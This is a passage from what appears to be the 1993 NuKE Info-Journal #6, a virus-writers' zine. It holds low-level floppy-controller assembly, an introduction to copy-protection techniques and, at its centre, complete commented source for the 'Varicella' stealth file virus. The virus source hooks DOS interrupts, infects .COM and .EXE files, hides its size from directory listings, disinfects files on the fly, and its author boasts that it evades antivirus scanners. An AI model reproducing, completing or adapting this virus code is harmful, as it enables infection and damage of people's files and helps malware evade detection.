; Out Mov Ah,2 ; Head&Drive Call Out_FDC ; Out Mov Ah,1 ; track# Call Out_FDC ; Call Wait_interrupt ; Ret Motor_Delay endp -------------------------------------------------------------------------------- ; The bellow is yet, another example for reading the first few beginning tracks ; but this one is for the Hard Disk ; By X ; Not `fully completed', but enough to get the point. Jmp TheCode Buffer Db 512 dup (0) ; For the sector StatusBuffer Db 7 Dup (7) ; For the status bytes TheCode Proc Near ReadSector: ; Turn ON the Motor Sti Mov Dx,03F2H Mov Al,00101101xB ; Set the Bits 0 , 2 ,3 , 4 Out Dx,Al ; Wait for motor to come to speed (1/2 second) Call Motor_Delay Mov Cx,2000 Loop $ ; Begin the initialization of DMA Chip Mov Al,46H ; Code for Read Data Out 11,Al ; Send Data Out 12,Al ; Now , Calculate buffer adress Lea Ax,Buffer ; Mov Bx,Ds ; Rol Bx,4 ; Push Bx ; And Bl,0FH ; Mov Dl,Bl ; Pop Bx ; Add Ax,Bx ; Jnc NoCarry ; Inc Dl ; NoCarry: ; Dec Al ; justify Out 4,Al ; Send Low Byte of address to the DMA controller Mov Al,Ah ; Out 4,Al ; Send High byte of the address // // // // Mov Al,Dl ; Out 81h,Al ; Send Page number (Page register) ; Finish initialization Mov Ax,511 ; Out 5,Al ; DMA controller Mov Al,Ah ; Out 5,Al ; Mov Al,2 ; Out 10,Al ; DMA controller ; Get pointer to disk base Mov Al,1EH ; Mov Ah,35H ; Int 021H ; ; Send read parametres. Mov Ah,066H ; Code for single sector read Call Out_Fdc ; Send It Mov Ah,0 ; Head&Drive # Call Out_FDC ; Send It Mov Ah,12 ; Track Number Call Out_FDC ; Send It Mov Ah,0 ; Head # Call Out_FDC ; Send It Mov Ah,3 ; Sector # Call Out_FDC ; Send it Mov Ah,Es:[Bx]+3 ; Sector Size code (2=512 bytes) Call Out_FDC ; Send it Mov Ah,Es:[Bx]+4 ; End-of-track # Call Out_FDC ; Send It Mov Ah,Es:[Bx]+5 ; Gap length Call Out_FDC ; Send it Mov Ah,Es:[Bx]+6 ; Datas length Call Out_FDC ; Send Call Wait_Interrupt ; Wait Int 6 ; Read the result bytes .. Mov Cx,7 Lea Bx,StatusBuffer Next: Call In_FDC Mov [BX],Al Inc Bx Loop Next ; Turn OFF the motor Mov Dx,03F2H Mov Al,12 Out Dx,Al Ret ; Exit from the programm Sector_REad Endp Wait_interrupt Proc ; Monitor the int 6 in bios status Byte Mov Ax,40H Mov Es,Ax Mov Bx,3EH Again: Mov Dl,Es:[BX] Test Dl,080H Jz Again And Al,127 Mov Es:[Bx],Dl Ret Wait_Interrupt EndP Out_FDC proc near Mov Dx,03F4H Keep_Trying: In Al,Dx Test Al,128 Jz Keep_Trying Inc Dx Mov Al,Ah Out Dx,Al RET Out_FDC EndP In_FDC Proc Near Mov Dx,03F4H Keep_Trying2: In Al,Dx Test Al,128 Jz Keep_Trying2 Inc Dx In Al,Dx Ret In_FDC EndP Motor_Delay Proc Mov Ah,15 ; Perform Seek Operation Call Out_FDC ; Out Mov Ah,0 ; Head&Drive Call Out_FDC ; Out Mov Ah,12 ; track# Call Out_FDC ; Call Wait_interrupt ; Ret Motor_Delay endp ================================================================================ =============================================================================== Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "The Varicella Virus Source Codes -N E- Nu -N uK Nu By KE uK Rock Steady E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu ahh, NuKE PoX viruses will never end... Well I noticed a few flaws and faults in code in the old NuKE PoX virus version 2.0, which I wanted to refine. This time I had a lot of time, and I _fully_ commented the source codes. % Improvements % The most major improvement is the infection routine, I have created a generic method that will always use the same infection/disinfection routine. If you remember NuKE PoX v2.0 you noticed that I copied whole blocks of the code twice, which gave the virus a size of 1800 Bytes! This version hovers at 1483 bytes, and it's far from tight, but it's EXTREMELY reliable! Meaning this baby should never crash for any reason. And it has _many_ added features that N-Pox v2.0 didn't have! % Introduction to the ideology of the Stealth Virus % Like the SVC viruses, this virus will `disinfect' on the fly. And to the DIMWIT that said SVC doesn't disinfect by rewriting the program on disk, GO CHECK YOUR INFO NITWIT. The SVC viruses will disinfect a file when opened, the SVC virus will actually remove the virus from the infected program. It will NOT attempt a disinfection in memory only! It does have the ability to do this to a certain extent, if you execute the file, and if you jump towards the end of the file by Int21h/4202h the SVC virus will fool DOS to think that the file is not infected, whereby it really is. But this method has a MAJOR flaw, one flaw is exercised by F-Prot anti-virus, to defeat this dumb method. The major flaw is that these viruses _cannot_ keep track of file pointers, it would take too much code to exercise this. So if you read a file from the beginning and read sequentially toward the end, surely enough you will encounter the SVC virus, because it does not have the ability to keep track of the file pointer. So in order to fix this, SVC will do a _real_ disinfection of the file on disk. Therefore in all aspects the file will look clean, as it _is_ clean! Also note, that the SVC viruses also infect System Device drivers, this is _rarely_ noted, maybe because people use VSUM as a reference? % Varicella Features % The virus will only infect .com and .exe generic files. I have removed the .ovl infections because of certain crashes that persist with certain large programs. No virus to date successfully does this for some reason. The virus will hide its file length by FCB directory method (Int21h/ah=11h,12h) and by File Handles method (Int21h/ah=4Eh,4Fh). The virus will disinfect the file on opens & extended opens via (Int21h/ah=3Fh,6Ch). The virus will also disinfect files as they are executed, (Int21h/ah=4Bh) and will later reinfect it when it has terminated. The virus will infect on closing (Int21h/ah=3Eh) and it uses the very sophisticated Job File Table method (The List of List). Infection is denoted by the seconds field will equal the day of the month! This method is _a lot_ better than having the seconds field to 60 or 62, because many AV programs flag on invalid seconds field. Therefore now the seconds field will be from a number 1->31 (Days in a month), and only with a 6% chance of an invalid second field stamp. Also in order not to create problems, the last two bytes of the virus _must_ be DBh,DBh. Therefore the virus uses TWO methods of detecting infection, because we wouldn't want to `disinfect' a file that isn't infected, so we must be 100% sure. I found it no use to have a `fake' disinfection routine, whereby it fakes a disinfection, for the reason that this method contains several flaws. And I found that testing this virus on my PC with a 40 Meg MFM 65ms drive, showed _very_ little signs of abnormality. So in speed wise, it's very fast, what is a 1-2 millisecond more, (1/100s of a second). When disinfecting a file, the virus even puts back the original seconds field time stamp, leaving absolutely no trace of its existence! How many viruses do that? huh? % To Come % Well I already have a multi-partition version of this virus, I'm currently tring to add NED polymorphic possibilities to this virus. This will be a nice task, as NED is variable in length, therefore I have to save the original file length, or I will fix NED to be constant in length. Nevertheless you should see it coming soon. % About the Name % Well I didn't want to call this N-Pox, because it has NO code similarities with N-Pox, the only thing they share is the method of going resident. But I called this "Varicella" because, Varicella is the medical term for (Chicken Pox) that adults get! When a child gets the Pox, you call it Chicken Pox, when an adult gets it, you call it Varicella! So I found it appropriate to call this Varicella because it is perhaps the `adult' or later out come of the N-Pox virus. ;================================================================= ; (c) NuKE Software Development 1991, 1992, 1993 ; ; VARICELLA VIRUS (Size 1483) ; ; By Rock Steady ; ; TASM VARICELL; ; TLINK/T VARICELL; ; virus_size equ last - init_virus ;virus size (bytes) mut1 equ 3 mut2 equ 1 mut3 equ 103h ;offset in memory seg_a segment byte public assume cs:seg_a,ds:seg_a org 100h ;compile to .com start: jmp init_virus ;------------------------------------------------------------------------------- init_virus: call doit_now ;begin virus doit_now: pop bp ;pop call offset sub bp,offset doit_now ;fix it with pointer push ax ;save registers push ds push es mov ax,0abcdh ;check if virus is int 13h ;alive in memory jmp next_code1 ;force jump virus_here: jmp exit_com ;error jump exit next_code1: cmp bx,0abcdh ;cmp bx if virus alive jnz install_virus jmp virus_here ;yes, skip memory part install_virus: push bx ;save registers push cx push dx push si push di push ds xor dx,dx ;0 value to dx mov ds,dx ;put that in ds les si,dword ptr ds:[0084h] ;get int21 vector mov word ptr cs:[int21][bp],si ;save int21 offset mov word ptr cs:[int21+2][bp],es ;save int21 segment les si,dword ptr ds:[0070h] ;get int1c vector mov word ptr cs:[int1c][bp],si ;save int1c offset mov word ptr cs:[int1c+2][bp],es ;save int1c segment les si,dword ptr ds:[004ch] ;get int13 vector mov word ptr cs:[int13][bp],si ;save int13 offset mov word ptr cs:[int13+2][bp],es ;save int13 segment pop ds ;DS=PSP (.exe only) push ds ;save DS mov ax,ds ;ds=cx dec ax ;dec cx, cx=mcb mov es,ax ;es=cx, mcb mov bx,es:mut1 ;bx=es:0003, mem size mov dx,virus_size ;dx=virus size (bytes) mov cl,4 shr dx,cl ;convert bytes to 16k add dx,4 ;paragraphs + 1 mov cx,es ;cx=psp segment sub bx,dx ;sub virus size from inc cx ;new mem address mov es,cx ;new segment mov ah,4ah ;set the block size int 21h jc exit_mem mov ah,48h dec dx ;alloc the mem mov bx,dx ;bx=# of para blocka int 21h jc exit_mem dec ax ;new segment add mov es,ax ;ax=es=mcb mov cx,8h ;DOS is the owner mov es:mut2,cx ;put it in mcb sub ax,0fh mov di,mut3 ;new offset to go mov es,ax ;es=segment mov si,bp ;add delta offset add si,offset init_virus ;begining of virus mov cx,virus_size ;our size push cs ;get the correct pop ds ;segment in ds cld ;clear direction to + repne movsb ;move us mov ds,cx ;ds=0000 cli ;disable ints mov word ptr ds:[0084h],offset int21_handler ;hook int21 mov word ptr ds:[0086h],es mov word ptr ds:[0070h],offset int1c_handler ;hook int1c mov word ptr ds:[0072h],es mov word ptr ds:[004ch],offset int13_handler ;hook int13 mov word ptr ds:[004eh],es sti ;enable ints exit_mem: pop ds ;restore 'em pop di pop si pop dx pop cx pop bx exit_com: cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file? je exit_exe_file ;yupe exit exe file cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file? je exit_exe_file ;yupe exit exe file push cs ;fix cs=ds for .com pop ds mov bx,offset buffer ;get first 3 bytes add bx,bp ;fix delta mov ax,[bx] ;move first 2 bytes mov word ptr ds:[100h],ax ;put em in the beginning inc bx ;inc pointer inc bx mov al,[bx] ;get last of 3rd byte mov byte ptr ds:[102h],al ;put that in place pop es pop ds pop word ptr cs:[ax_reg][bp] ;save ax else where mov ax,100h push ax ;fake a CALL & RETN mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal retn ;link to 100h exit_exe_file: mov dx,ds ;get psp=ds seg add dx,10h ;add 16bytes to seg pop es pop ds pop ax add word ptr cs:[buffer+22][bp],dx ;fix segments add dx,word ptr cs:[buffer+14][bp] cli mov ss,dx ;restore ss mov sp,word ptr cs:[buffer+16][bp] ;and sp sti jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt. ax_reg dd 0 bp_reg dd 0 int13 dd 0 int1c dd 0 int21 dd 0 ;=============================================================================== ; Int 13h Handler ;=============================================================================== int13_handler: cmp ax,0abcdh ;virus test je int13_test ;yupe int13call: jmp dword ptr cs:[int13] ;original int13 int13_test: mov bx,ax ;fix iret ;=============================================================================== ; Int 1Ch Handler ;=============================================================================== int1c_handler: iret ;------------------------------------------------------------------------------- ; FCB Dir Stealth Routine (File Find) ;------------------------------------------------------------------------------- fcb_dir: call calldos21 ;get the fcb block test al,al ;test for error jnz fcb_out ;jmp if error push ax ;save registers push bx push cx push es mov ah,51h ;get current psp call calldos21 ;call int21 mov es,bx ;es=segment of psp cmp bx,es:[16h] ;psp of command.com? jnz fcb_out1 ;no, then jmp mov bx,dx ;ds:bx=fcb mov al,[bx] ;1st byte of fcb push ax ;save it mov ah,2fh ;get dta call calldos21 ;es:bx <- dta pop ax ;get first byte inc al ;al=ffh therefor al=ZR jnz fcb_old ;if != ZR jmp add bx,7h ;extended fcb here, +7 fcb_old: mov ax,es:[bx+17h] ;get file time stamp mov cx,es:[bx+19h] ;get file date stamp and ax,1fh ;unmask seconds field and cx,1fh ;unmask day of month xor ax,cx ;are they equal? jnz fcb_out1 ;nope, exit then sub word ptr es:[bx+1dh],virus_size ;sub away virus_size sbb word ptr es:[bx+1fh],0 ;sub with carry flag fcb_out1: pop es ;restore registers pop cx pop bx pop ax fcb_out: iret ;return control ;------------------------------------------------------------------------------- ; ASCIIZ Dir Stealth Routine (File Find) ;------------------------------------------------------------------------------- dta_dir: call calldos21 ;get results to dta jb dta_out ;if error, split push ax ;save register push bx push cx push es mov ah,2fh ;get current dta call calldos21 ;es:bx <- dta mov ax,es:[bx+16h] ;get file time stamp mov cx,es:[bx+18h] ;get file date stamp and ax,1fh ;unmask seconds field and cx,1fh ;unmask day of month xor ax,cx ;are they equal jnz dta_out1 ;nope, exit then sub word ptr es:[bx+1ah],virus_size ;sub away virus_size sbb word ptr es:[bx+1ch],0 ;sub with carry flag dta_out1: pop es ;restore registers pop cx pop bx pop ax dta_out: retf 0002h ;pop 2 words of stack ;=============================================================================== ; Int 21h Handler ;=============================================================================== int21_handler: cmp ah,11h ;FCB find first match je old_dir cmp ah,12h ;FCB find next match je old_dir cmp ah,4eh ;Find first match je new_dir cmp ah,4fh ;Find next match je new_dir cmp ah,3dh ;Opening a file je file_open cmp ah,6ch ;Ext_opening a file je file_ext_open cmp ah,3eh ;closing a file je file_close cmp ah,4bh ;Execution of a file je file_execute int21call: jmp dword ptr cs:[int21] ;original int21 old_dir: jmp fcb_dir ;fcb file find new_dir: jmp dta_dir ;new asciiz file find file_open: jmp open_file ;disinfect opening file file_ext_open: jmp open_ext_file ;disinfect opening file file_close: jmp close_file ;infect closing file file_execute: call check_extension ;check for ok ext cmp byte ptr cs:[com_ext],1 ;is it a com? je exec_disinfect ;yupe disinfect it cmp byte ptr cs:[exe_ext],1 ;is it a exe? je exec_disinfect ;yupe disinfect it jmp SHORT int21call exec_disinfect: call exec_disinfect1 ;Disinfect file mov word ptr cs:[ax_reg],dx pushf ;fake an int call dword ptr cs:[int21] ;call dos xchg word ptr cs:[ax_reg],dx ;restore dx mov byte ptr cs:[close],0 ;reset flag.. push ax ;store 'em push bx push cx push dx push si push di push es push ds closing_infect: mov ax,3524h ;get error handler call calldos21 ;call dos push es ;save es:bx= int_24 push bx ;error handler push ds ;ds:dx= asciiz string push dx push cs ;cs=ds pop ds mov dx,offset int21_handler ;hook error handler mov ax,2524h ;with our int24h call calldos21 pop dx ;restore ds:dx asciiz pop ds ;string cmp byte ptr cs:[close],0 ;Are we closing file? je exec_get_att ;nope, then jmp mov ax,word ptr cs:[handle] ;yupe, ax=file handle jmp exec_open_ok ;jmp so you don't open ;the file twice... exec_get_att: mov ax,4300h ;get file attribs call calldos21 ;call dos jnc exec_attrib ;no, error jmp jmp exec_exit2 ;ERROR - split exec_attrib: mov byte ptr cs:[attrib],cl test cl,1 ;check bit 0 (read_only) jz exec_attrib_ok ;if bit0=0 jmp dec cx ;else turn of bit_0 mov ax,4301h ;write new attribs call calldos21 ;call dos exec_attrib_ok: mov ax,3d02h ;open file for r/w call calldos21 ;call dos jnc exec_open_ok ;ok, no error jmp jmp exec_exit2 ;ERROR - split exec_open_ok: xchg bx,ax ;bx=file handler push cs ;cs=ds pop ds mov ax,5700h ;get file time/date call calldos21 ;call dos mov word ptr cs:[old_time],cx ;save file time mov word ptr cs:[org_time],cx mov word ptr cs:[old_date],dx ;save file date and cx,1fh ;unmask second field and dx,1fh ;unmask date field xor cx,dx ;are they equal? jnz exec_time_ok ;nope, file not infected jmp exec_exit3 ;FILE INFECTED exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits or word ptr cs:[old_time],dx ;seconds=day of month mov ax,4200h ;reset ptr to beginning xor cx,cx ;(as opened files may xor dx,dx ; have ptr anywhere, call calldos21 ; so be smart!) mov word ptr cs:[marker],0DBDBh ;File Infection marker mov dx,offset ds:[buffer] ;ds:dx buffer mov cx,18h ;read 18h bytes mov ah,3fh ;read from handle call calldos21 ;call dos jc exec_exit1 ;error? if yes jmp sub cx,ax ;did we read 18h bytes? jnz exec_exit1 ;if no exit mov dx,cx ;cx=0 dx=0 mov ax,4202h ;jmp to EOF call calldos21 ;call dos jc exec_exit1 ;error? exit if so. mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz mov word ptr cs:[filesize],dx ;save upper 16bit fileSz call chkbuf ;check if .exe jz exec_cool ;jmp if .exe file cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k? jb exec_cool ;if less jmp! exec_exit1: jmp exec_exit3 ;exit! exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning mov cx,virus_size ;cx=virus size mov ah,40h ;write to handle call calldos21 ;call dos jc exec_exit1 ;error? if yes exit sub cx,ax ;cx=ax bytes? jnz exec_exit1 ;not equal exit mov dx,cx ;cx=0 dx=0 mov ax,4200h ;jmp to top of file call calldos21 ;call dos jc exec_exit1 ;error, then exit mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize call chkbuf ;check if .exe jnz exec_com_file ;if !=.exe jmp mov dx,word ptr cs:[filesize] ;get upper 16bit mov cx,4 ;cx=0004 mov si,word ptr cs:[buffer+8] ;get exe header size shl si,cl ;mul by 16 sub ax,si ;exe_header - filesize sbb dx,0h ;sub with carry mov cx,10h ;cx=0010 div cx ;ax=length in para ;dx=remaider mov word ptr cs:[buffer+20],dx ;New IP offset address mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs) add dx,virus_size+100h ;Dx=virus_size+256 mov word ptr cs:[buffer+16],dx ;New SP entry mov word ptr cs:[buffer+14],ax ;New SS (in para) add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para mov ax,word ptr cs:[buffer+10] ;ax=min para needed cmp ax,word ptr cs:[buffer+12] ;cmp with max para jb exec_size_ok ;jmp if ok! mov word ptr cs:[buffer+12],ax ;nop, enter new max exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size add ax,virus_size ;add virus to it push ax ;push it and ah,1 ; mov word ptr cs:[buffer+2],ax ;restore new value pop ax ;pop ax mov cl,9 ; shr ax,cl ; add word ptr cs:[buffer+4],ax ;enter fileSz + header mov dx,offset buffer ;ds:dx=new exe header mov cx,18h ;cx=18h bytes to write jmp SHORT exec_write_it ;jmp... exec_com_file: sub ax,3 ;sub 3 for jmp address mov word ptr cs:[buffer+1],ax ;store new jmp value mov byte ptr cs:[buffer],0E9h ;E9h=JMP mov dx,offset buffer ;ds:dx=buffer mov cx,3 ;cx=3 bytes exec_write_it: mov ah,40h ;write to file handle call calldos21 ;call dos mov dx,word ptr cs:[old_date] ;restore old date mov cx,word ptr cs:[old_time] ;restore old time mov ax,5701h ;write back to file call calldos21 ;call dos exec_exit3: mov ah,3eh ;close file call calldos21 ;call dos exec_exit2: pop dx ;restore es:bx (the pop ds ;original int_24) mov ax,2524h ;put back to place call calldos21 ;call dos pop ds pop es pop di ;pop registers pop si pop dx xor cx,cx mov cl,byte ptr cs:[attrib] ;get old file attrib mov ax,4301h ;put them back call calldos21 ;call dos pop cx pop bx pop ax cmp byte ptr cs:[close],0 ;get called by exec? je exec_good_bye ;yep, then jmp iret ;else exit now. exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx iret ;iret ;------------------------------------------------------------------------------- ; Close File Int21h/ah=3Eh ;------------------------------------------------------------------------------- close_file: cmp bx,4h ;file handler > 4? ja close_cont ;jmp if above jmp int21call ;else exit close_cont: push ax ;save 'em push bx push cx push dx push si push di push es push ds push bx ;save file handler mov ax,1220h ;get job file table! int 2fh ;call multiplex ;es:di=JFT for handler mov ax,1216h ;get system file table mov bl,es:[di] ;bl=SFT entry int 2fh ;call multiplex pop bx ;save file handler add di,0011h mov byte ptr es:[di-0fh],02h ;set to read/write add di,0017h cmp word ptr es:[di],'OC' ;check for .COM file jne closing_next_try ;no try next ext cmp byte ptr es:[di+2h],'M' ;check last letter je closing_cunt3 ;no, file no good, exit closing_exit: jmp closing_nogood ;exit closing_next_try: cmp word ptr es:[di],'XE' ;check for .EXE file jne closing_exit ;no, exit cmp byte ptr es:[di+2h],'E' ;check last letter jne closing_exit ;no, exit closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag mov word ptr cs:[handle],bx ;save handler jmp closing_infect ;infect file! closing_nogood: pop ds ;restore 'em pop es pop di pop si pop dx pop cx pop bx pop ax jmp int21call ;good bye, baby... ;------------------------------------------------------------------------------- ; Execute Disinfecting routine ;------------------------------------------------------------------------------- exec_disinfect1 PROC push ax ;save registers push bx push cx push dx push ds mov ax,4300h ;get file attribs call calldos21 ;call dos test cl,1h ;is Read-only flag? jz okay_dis ;no, jmp attribs ok dec cx ;turn off bit 0 mov ax,4301h ;write new attribs call calldos21 ;call dos jnc okay_dis ;No error? then jmp jmp end_dis ;error? exit! okay_dis: mov ax,3d02h ;open file for r/w call calldos21 ;call dos jnc dis_fileopen ;No error? then jmp jmp end_dis ;Error? exit! dis_fileopen: xchg bx,ax ;bx=file handle mov ax,5700h ;get file time/date call calldos21 ;call dos mov word ptr cs:[old_time],cx ;save file time mov word ptr cs:[old_date],dx ;save file date and cx,1fh ;unmask second field and dx,1fh ;unmask date field xor cx,dx ;are they equal? jnz half_way ;nope, file not infected mov ax,4202h ;jmp to EOF xor cx,cx ;cx=0 xor dx,dx ;dx=0 call calldos21 ;call dos push cs ;cs=ds pop ds ; mov cx,dx ;dx:ax=file size mov dx,ax ;save to cx:dx push cx ;save upper fileSz push dx ;save lower fileSz sub dx,1Ch ;filesize-1C=origin byte sbb cx,0 ;sub with carry mov ax,4200h ;position ptr call calldos21 ;call dos mov ah,3fh ;open file mov cx,1Ch ;read last 1Ch bytes mov dx,offset org_time ;put in ds:dx call calldos21 ;call dos call chkbuf ;Did it work? je half ;Yes,Jmp cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected? je half ;Yes, then jmp pop dx pop cx half_way: jmp end_dis1 ;exit, error! half: xor cx,cx ;cx=0 xor dx,dx ;dx=0 mov ax,4200h ;pointer to top of file call calldos21 ;call dos mov ah,40h ;write function mov dx,offset buffer ;ds:dx=buffer mov cx,18h ;cx=18h bytes to write call chkbuf ;check if .exe? jz SHORT dis_exe_jmp ;yupe, jmp mov cx,3h ;else write 3 bytes dis_exe_jmp: call calldos21 ;call dos pop dx ;pop original fileSz pop cx sub dx,virus_size ;Sub with virus_size sbb cx,0 ;sub with carry mov ax,4200h ;ptr top of virus call calldos21 ;call dos mov ah,40h ;write function xor cx,cx ;write 0 bytes call calldos21 ;call dos! (new EOF) mov cx,word ptr ds:[org_time] ;get original time mov dx,word ptr ds:[old_date] ;get original date mov ax,5701h ;put back to file call calldos21 ;call dos end_dis1: mov ah,3eh ;close file handle call calldos21 ;call dos end_dis: pop ds ;restore values pop dx pop cx pop bx pop ax ret exec_disinfect1 ENDP ;------------------------------------------------------------------------------- ; Open File by DOS Int21h/ah=6ch ;------------------------------------------------------------------------------- open_ext_file: push dx ;save DX mov dx,si ;asciiz=DS:DX now jmp open_ext ;jmp ;------------------------------------------------------------------------------- ; Open File by DOS Int21h/ah=3Dh ;------------------------------------------------------------------------------- open_file: push dx ;save dx (asciiz) open_ext: call check_extension ;check extension cmp byte ptr cs:[com_ext],1 ;is it a .com? je open_ok_ext ;yep, then jmp cmp byte ptr cs:[exe_ext],1 ;is it a .exe? je open_ok_ext ;yep, them jmp jmp open_exit ;ext no good, exit! open_ok_ext: call exec_disinfect1 ;disinfect file! open_exit: pop dx ;restore dx jmp int21call ;exit to dos... ;------------------------------------------------------------------------------- ; Checks Buffer (EXE) Header ;------------------------------------------------------------------------------- chkbuf PROC push si ;save register mov si,word ptr cs:[buffer] ;get first word cmp si,5A4Dh ;si=ZM? je chkbuf_ok ;if yes exit cmp si,4D5Ah ;si=MZ? chkbuf_ok: pop si ;pop register ret chkbuf ENDP ;------------------------------------------------------------------------------- ; Check file Extension ;------------------------------------------------------------------------------- check_extension PROC pushf ;save flags push cx ;save cx,si push si mov si,dx ;ds:[si]=asciiz mov cx,128 ;scan 128 bytes max mov byte ptr cs:[com_ext],0 ;reset .com flag mov byte ptr cs:[exe_ext],0 ;reset .exe flag check_ext: cmp byte ptr ds:[si],2Eh ;scan for "." je check_ext1 ;jmp if found inc si ;else inc and loop loop check_ext ;loop me check_ext1: inc si ;inc asciiz ptr cmp word ptr ds:[si],'OC' ;is it .COM jne check_ext2 ; ~~ cmp byte ptr ds:[si+2],'M' ;is it .COM je com_file_ext ; ~ check_ext2: cmp word ptr ds:[si],'oc' ;is it .com jne check_ext3 ; ~~ cmp byte ptr ds:[si+2],'m' ;is it .com je com_file_ext ; ~ check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE jne check_ext4 ; ~~ cmp byte ptr ds:[si+2],'E' ;is it .EXE je exe_file_ext ; ~ check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe jne check_ext_exit ; ~~ cmp byte ptr ds:[si+2],'e' ;is it .exe je exe_file_ext ; ~ jmp check_ext_exit ;neither exit com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file jmp SHORT check_ext_exit ;jmp short exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file check_ext_exit: pop si ;restore pop cx popf ;save flags ret com_ext db 0 ;flag on=.com file exe_ext db 0 ;flag on=.exe file check_extension ENDP ;------------------------------------------------------------------------------- ; Original Int21h ;------------------------------------------------------------------------------- calldos21 PROC pushf ;fake int call call dword ptr cs:[int21] ;call original int_21 ret calldos21 ENDP ;=============================================================================== ; Int 24h Handler ;=============================================================================== int24_handler: mov al,3 ;don't report error... iret ;later dude... ;------------------------------------------------------------------------------- ; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS close db 0 ;closing file ;------------------------------------------------------------------------------- ; END - END - END - END - END - END - END flags dw 0 ;Flags are saved here attrib db 0 ;file's attrib filesize dd 0 ;filesize handle dw 0 ;file handler old_date dw 0 ;file date old_time dw 0 ;file time org_time dw 0 ;original file time ;------------------------------------------------------------------------------- buffer db 0CDh,020h ; 0 (0) EXE file signature db 090h,090h ; 2 (2) Length of file db 090h,090h ; 4 (4) Size of file + header (512k) db 090h,090h ; 6 (6) # of relocation items db 090h,090h ; 8 (8) Size of header (16byte para) db 090h,090h ; A (10) Min para needed (16byte) db 090h,090h ; C (12) Max para needed (16byte) db 090h,090h ; E (14) SS reg from start in para. db 090h,090h ; 10(16) SP reg at entry db 090h,090h ; 12(18) checksum db 090h,090h ; 14(20) IP reg at entry db 090h,090h ; 16(22) CS reg from start in para. Marker db 0DBh,0DBh ; Marks THIS File as INFECTED! last: seg_a ends end start ================================================================================ =============================================================================== Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "The Arms Race on Disk-Based Protection -N E- Methods : Round One" Nu -N uK Nu By KE uK Rock Steady E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu % The `Arms Race' on Disk-Based Copy Protection Methods : Round One % Disk-based techniques of protecting software have existed since the early days of microcomputers. The very first microcomputers used cassette tapes to store programs and data. (Remember the C-64s old days?) The first mass- market microcomputer to use disk drives instead of cassette tapes was the Apple-II in 1978. Its great popularity was largely due to its reliable and inexpensive disk drive system, devised by Steve Wozniak. The disks, much faster and more convenient than cassettes, in turn made it practical to run large and complex programs. Disks became standard equipment on all but the cheapest microcomputers. The tremendous success of the IBM PC microcomputer in the early 1980s confirmed this trend. The history of disk-based protection methods and the of efforts to defeat them, resembles an escalating arms race, and hence the name. Early, elementary protection techniques were countered by skilled users, some did it for their own convenience, others for the intellectual challenge. And hence, the arms race began. The `guerrillas' of the arms race were the `software hackers': mission; to device a method for removing `cracking' the copy-protection of each new program marketed, and who then distributed the copy-able version to their friends, who passed it on, and so on. I have witnessed and was quite an active member of this arms race, the intellectual challenge was the main reason of my membership. During the years I have come upon several protection techniques some I was able to easily bypass, and others that brought upon great challenge. Slowly I began noting the several methods of disk-based copy-protection, and I also did acquire several documents on other disk-based copy-protection, and today you will read upon this very interesting concept of disk-based copy-protection. Some methods were quite frightening as it tried to perform dangerous disk- access techniques. Some methods were quite trivial, others were loops and flaws of the disk structures, and how the disk controller reacts. All the methods I was able to collect are documented bellow, a lot of time and effort was put into this, I do hope you appreciate it. % Disk Format % The early generation of disk protection methods depended on technical details of the diskette and disk drives. To describe the methods, it is first necessary to outline the structure of a formatted floppy. For convenience I will only use the IBM PC 5.25 inch disk, formatted by the popular PC-DOS or MS-DOS. Information is stored on the disk in a series of circles, called `tracks'. In a normal 5.25 double density disk you have 40 series of circles, aka tracks. Tracks are numbered from 0, being the outermost track, to 39 being the inner- most. Each track is divided into 9 arcs, called `sectors', numbered from 0-8. Each sector consists of an `address field', which identifies the sector, and a `data field', which contains the data stored in that sector. Both fields contain a prologue, data, a checksum and an epilogue, of the information stored in that field. Therefore, in reality DOS does NOT make the total number of possible bytes available for your data storing. In a 5.25 DSDD (double sided, double density) disk there really is a possible of 500k where only 360k is available for you. In a 5.25 DSHD (double sided, high density) disk, there is 1.6 Megs, but only 1.2 Megs is available to you. In a 3.5 DSDD disk, there is 1 Meg, but 720k is available for you. In a 3.5 DSDD disk, there is an amazing 2.0 Megs but only 1.44Megs is available to you. The same applies for hard drives, ever buy a HD and it says 120 Megs, but when you format it, you only get 114 Megs? Its because of DOS, there are some programs that enable you to use this space and get rid of the address field, that is present before _every_ sector. One popular program is called "MAXI - Form" by Herne Data Systems Ltd. This program allows 360k floppy to hold 420k, 720k -> 810k, 1.2M -> 1.44M, 1.44M -> 1.66M. Maxi CANNOT make use of ALL the possible number of bytes, because we MUST reserve some space for the Boot Sector, 2 copies of the FAT and the DIR Structures. However it does rid the address fields, and is compatible with DOS with the help of a TSR program that `fools' DOS in thinking that it was structured correctly. Now, when you `boot' off a diskette, a copy of DOS _MUST_ reside on the outer few tracks of the disk. Another Track is reserved for the file directory. When the computer is turned on, a process occurs, called `booting'. The IBM PC does not contain a built-in DOS. Its ROM contains just enough information to enable to find and read sector 0 of track 0 of the disk, which is the boot sector. That sector contains a program to read a few more sectors, 